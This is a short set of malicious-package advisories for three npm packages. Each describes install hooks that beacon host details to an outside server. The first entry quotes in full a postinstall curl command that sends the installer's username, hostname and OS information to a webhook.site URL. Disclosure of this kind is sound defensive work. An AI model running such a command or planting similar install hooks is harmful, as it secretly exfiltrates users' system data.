MAL-2026-18108 Malicious code in rootaccessxvv-bbmarker (npm)

Its postinstall hook runs on npm install: curl -s -m 10 -X POST "https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof" -H "Content-Type: text/plain" --data-binary "DPD-REGISTRY-RCE-PROOF|user=$whoami|host=$hostname|node=$node --version|os=$uname -a 2/dev/null ||...

Malicious code in @wxwxtest/testrrrdd (npm)

Source: amazon-inspector 2c288e48135ebe9f305d450f5b19324ae944865fb7057ced986d0eb30cb1fe34 The package ships a postinstall script scripts.postinstall runs node beacon.cjs and a top-level require'./beacon.cjs'.fire in index.js that POST installer host metadata — hostname, install path, cwd, Node...

Malicious code in @nstrlabs/ixel (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 64b10f7a8ca25ac33a6d1e94038d1dbfd68d113d9ab7d7a428d97417b3409c7d On npm install, the package runs node index.js via a preinstall lifecycle hook declared as "preinstall": "node index.js || true" so failures are...